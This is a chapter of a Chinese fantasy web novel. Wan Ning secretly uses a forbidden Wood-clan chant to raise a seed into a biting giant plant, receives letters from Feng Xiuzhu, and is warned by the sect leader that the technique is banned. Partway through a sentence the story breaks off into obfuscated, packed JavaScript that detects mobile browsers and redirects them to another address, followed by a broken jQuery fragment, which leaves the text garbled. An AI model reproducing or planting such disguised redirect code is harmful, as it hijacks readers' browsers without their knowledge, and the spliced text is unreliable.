73. 春梦残响16
作品:《我嘞个言出法随》 不就给你一颗种子然后种东西吗?
回去之后,赵子婵也没什么心理负担,乐呵呵地找了个花盆,埋进去,浇点水,静候佳音了。
万凝却看着种子沉思。
这时,名叫阿若的女弟子抱着满满一筐衣物,气喘吁吁走进屋里道:“光看着可不能让这种子发芽。”
一旁正鼓捣饵食杂料的赵子婵闻言,脸色微沉地走近,不悦道:“就看怎么了?难道还需你在这指手画脚?”
阿若笑道:“赵姐姐,你莫要仗着比我年长几岁,便摆出一副教训人的样子。别忘了,你卧病在床,我可没少费心照料,你不但不领情,如今我好心提醒万凝姐姐,你反倒要与我理论?”
“你!”赵子婵迈步上前。
万凝连忙挡在她面前,“阿婵性子急躁,行事难免有些许不周,亏得阿若妹妹为人心胸宽广,没跟她计较这些,在此我代她向你道一声谢。”
“若是早些这样说话,又何来这些误会呢?其实这些都算不得什么大事。”阿若语气轻松,带有一丝俏皮,“就是啊,万凝姐姐你不在的时候,都没人帮我洗这些衣物了。”
万凝笑道:“放着吧,我帮你洗。”
“那便麻烦万凝姐姐了。”阿若将衣物放下,又提醒道,“宗主给的种子只有在持续的灵力滋养下,才能激发出生长潜能,不然也是白费力气。”
“好的,知道了。”万凝心态平和地送走了阿若,赵子婵却火冒三丈。
因为阿若是真的好好照顾她了。
可阿若又是真的欺负过万凝。
还就在她眼皮子底下!
“权当我欠她的人情!等我还完了,倒要看看她还能找出什么理由来使唤我们!”赵子婵一把将那箩筐衣物揽进怀里,夺门而出。
“哪有人大半夜洗衣服的,放着明天出太阳了,坐在太阳底下洗……”
“我管它白天黑夜,这东西堆在这看着就烦,今晚不把它们解决掉了,我觉都睡不安稳!”赵子婵跑出去了,万凝无奈地摇了摇头。
心中不禁想起了阿若的话。
种子需以灵力滋养方能生长。
只是,她深知依靠身体修炼获得灵力只是门外汉的修行方式。
在木族中,能促使万物生长的力量是与生俱来的血统之力“生息”,就像火族,火族人体内蕴含“焰能”,所以才能操控火焰,而非后天修炼所得的灵力所能企及。
不过,凡事都有个例外。
万凝想起自己在木族为了能够找到治疗木无缺的方法,日夜翻看木族典籍,其中便包括一种不需要生息,也不需要灵力的秘术。
操作起来虽不算太难,但万凝心中却隐隐觉得像是某种过于邪门而被禁止了的禁术。
也不知风修竹是从何处搜集来的这些典籍……
这门术法的创始人,名为木无息,因此便以他的名字命名为“无息术”。
此术是一种独特的培育术法,通过吟唱咒语催化种子成长。
可以通俗易懂地理解为,洗脑,让这种子相信自己有一天会成为很厉害的家伙!
只是,万凝现在记不住那一大串咒语了……
而且,她觉得种子本身也得不凡吧?
毕竟要啥啥没有肯定是不行的。
想到这里,赵子婵已经洗好衣物,缩着手火急火燎地跑了进来。
万凝立刻起身,把小暖手袋放她手里暖一暖,又抓起一件外套给她披上,“瞧你冻的,脸色都不对了。”
“也没那么冷。”赵子婵哆嗦了一会儿,冻得发僵的身子逐渐有了暖意,她神神秘秘道,“阿凝,你猜我洗衣的时候发现了什么?”
万凝随口猜道:“钱?”
之前她帮弟子们洗衣时,经常会从犄角旮瘩的地方洗出一些零钱。
但赵子婵却从窄袖里面抽出一张薄薄的信纸。
“洗衣的时候,我瞧见一只鸽子停在屋顶上,便唤了它过来想给它喂点吃的,结果发现它腿上系着信件,只是我自小没进过学堂,根本不认识几个字,拿着横看竖看了半天,就认出‘万凝’俩字。”
“这上面怎么会有我的名字?”万凝奇怪地接过信纸展开看了,一眼扫去,直接愣住。
这不是风修竹的字吗?
字如其人,飘逸,坚韧。
起先字与字之间还保持着适当的间距,可越往后看,字迹越发紧凑。
赵子婵着急地追问道:“谁给你写的信啊?”
万凝的心砰砰乱跳,尽量让自己的声音听起来平静,可还是无法抑制的欣喜,“他叫做风修竹。”
赵子婵实诚地摇头,“不认识。”
“他是如今的无颜宿主。”万凝摩挲信纸,垂眸莞尔,眸光含蓄动人,“也是我此生认定的人。”
“什么?阿凝你有喜欢的人了?!”赵子婵虽然有些失望,但还是按捺不住自己的好奇心,“什么时候喜欢上的?他喜不喜欢你?”
没等万凝回答,赵子婵便笃定道:“他肯定喜欢你!他要是敢不喜欢你,我就去帮你给他下蛊!”
万凝哭笑不得,“以后若还有鸽子送信过来,你帮我留意一下就是。”
赵子婵拍拍胸脯,“这肯定的,你快跟我讲讲你们怎么认识的!”
……
万凝给风修竹回信时,打量起自己的双手。
它曾冻得鼓鼓囊囊,奇痒无比,有时痒到让人忍不住抓挠,而抓烂后,会露出嫩红的肉,即便敷上草药,青绿药汁覆在渗血的伤口带来片刻缓解,但第二天仍要冰雪地里做事,反反复复无法好透。
直到在丰艺酒楼落脚,才终于不挨冻了,后来住进风修竹安排的有地龙的屋子,三餐有人端到跟前,洗澡水有人烧好,什么事一概不用她管,只需等木无缺结出无缺仁。
并且风修竹还吩咐人给她送冻疮膏来,凡是养身子的东西,无一不是顶好的。这双手渐渐恢复,却瞧着比寻常人的手要胖乎些,并且一但吹风受冷,又会红肿起来。
曾有一夜,万凝和风修竹同坐一张案前,处理各自的事情,彼此并无多余言语,直到风修竹看到她缩着手,突然一把将她的手攥在掌心。
他的手很暖,裹得让人很舒服,可他面上却冷冰冰的,什么也没说,万凝一旦盯着他看久了,他还会严肃地提醒自己:“专心。”
万凝腹诽这样真的能专心吗?
因为两只手都在风修竹那里,想要翻页就只能用下巴蹭来蹭去,费劲得很,风修竹又不肯松手,只能麻烦他每隔一会儿帮自己翻下页。
……
风修竹终于收到了万凝的回信,长久以来胡思乱想的心总算有了着落。
但他仍忍不住反复叮嘱万凝多加小心,他如今在正面战场与魔头厮杀,遇到了不少身负魔印刺青的魔兵,他们行动敏捷,比普通魔兵要难对付的多,其中水族还出了个极其狡猾的叛徒,暗杀了数名水族高层。
万凝知晓战争的残酷。
所谓宁为太平犬,不做乱世人。
无论是谁,都难以逃脱魔头现世后带来的影响,所有人都命运都被拴在了一起。
宗主比以往更加严厉地要求弟子们。
万凝不想风修竹为了她这里分心,因此,信中分享的都是近日的一些趣事,只是在提及自己一直未能让一粒种子发芽的困扰时,一笔带过来无息术的吟唱咒语。
可风修竹不会错过万凝的任何需求,先将近日趣事一一回应了,再将无息术的吟唱咒语,用工整的小楷抄录了一份,附于信中。
万凝有了吟唱咒语,索性一天来回念叨一百遍,功夫不负有心人,迟迟没有动静的种子竟真冒出个小芽,并且生长速度惊人。
验收成果的前一天晚上,隔壁传来阵阵喧哗声,万凝和赵子婵过去一看,发现大师姐培育出了一株巨大的藤蔓,在她的控制下,藤蔓迅速收缩,然后猛地向前弹出,如同利箭一般射向远处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045668|190407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的假人目标,假人瞬间四分五裂。
“哇——大师姐太厉害啦!”
“这是怎么做到的!”
看热闹的弟子们对大师姐满是崇拜。
这时,阿若突然凑到万凝身旁,“万凝姐姐有没有培育出来什么有趣东西来啊?”
万凝故意卖了个关子,“明日在学堂上就能看见了。”
“哦,这样啊,那我可期待了。”阿若转身离去。
在此之前,阿若和赵子婵吵了一架,起因是赵子婵给她们洗衣服只过一遍水,等同于压根没洗,且洗完后也不拧干,直接就晾,冻得邦邦硬不说,还好几天都干不了。
赵子婵明人不说暗话,索性摊开了讲自己欠阿若一条命,到时候还她便是。阿若便也不好再明目张胆招惹是非,只是隔三差五便“亲近”她们一下,没话找话。
赵子婵道:“阿凝你为什么不直接拿出来,让她们好好见识一下?你本领如此了得,往后她们哪个还敢小瞧了你!”
万凝却道:“没必要争这一时的长短。她们瞧不瞧得起,于我没什么影响,把该做的事做好才最要紧。”
赵子婵小声嘟囔道:“怪不得我总听阿若那帮人说宗主对你和别人是不一样的,看来这是真的。”
……
次日。
学堂上,弟子们展示出的培育成果五花八门,有花有草有小树,只有赵子婵手里的花盆空空如也。
有人忍不住笑出声。
赵子婵难得脾气很好,毕竟她不是干这个的料,又何必生气呢?
万凝捧着她的培育成果。
一群人既震惊又好奇地看着。
这株植物长着一张大嘴,探头探脑,像是活的一般,有名女弟子好奇靠近,谁知大嘴突然身子一绷,猛地张嘴朝女弟子咬去!
大嘴本意是想逗逗漂亮小姑娘,但因举止粗鲁,反倒把人家被吓花容失色,失声尖叫:“它要咬死我!”
万凝赶紧制止,大嘴便伸着舌头讨好地舔舐她的手指。
阿若看了一眼那名胆小的女弟子,不屑道:“怕什么,它那么点一张嘴,连牙都没长齐,能咬死谁?”
话音刚落,大嘴瞬间像打了气似的暴涨,嘴巴撑得巨大无比,并且还转了个方向,对准阿若,只因这是最显嘴大的角度。
除了骇人的深渊巨口,满嘴还密布着又粗又利的獠牙,维持张嘴的动作时,黏滑的涎液难免会不受控制地顺着舌头流淌。
阿若早被吓得浑身血都凝固了。
其余人连大气都不敢出,整个学堂陷入一片死寂。
如今的大嘴就是把整个学堂里的人都吃了也不够塞他牙缝的!
万凝知道大嘴从小被她念咒洗脑,长大后自信爆棚,旁人但凡质疑半句,他就炸毛,但万凝若是没有控制好他的把握,是绝对不可能把他带到这么多人面前的。
正准备让他恢复原样,谁知,这个时候大师姐却搬出了她的藤蔓,朝着大嘴发起攻击!
原本只是想要证明自己嘴很大的大嘴瞬间变得狂躁,对万凝的命令置若罔闻。
眼看两株植物你戳我一下,我咬你一口地斗了起来,藤蔓很快落了下风,被撕扯得汁液飞溅。
弟子们吓得抱成一团,宗主立刻拔下头上的乌簪,手腕一扬,乌簪刺入大嘴根茎,大嘴张着血盆大口,猩红的舌头向外一挺,变回原本的模样。
大嘴被制服后,宗主神情凝重地看着万凝,“你是怎么培育出来的?”
万凝道:“实不相瞒,是我的一个好友帮我寻到了几本关于木族修炼心法的典籍,我是按照那典籍上的记载,试着培育出来的。”
宗主道:“你那位朋友怕不是把木族顶级秘术都挖出来了。”
这话,万凝有些摸不着宗主的态度。
而宗主也没有继续说下去。
只是课业结束后,她单独找到万凝,语气略带警告意味:“无息术在木族是禁术。”

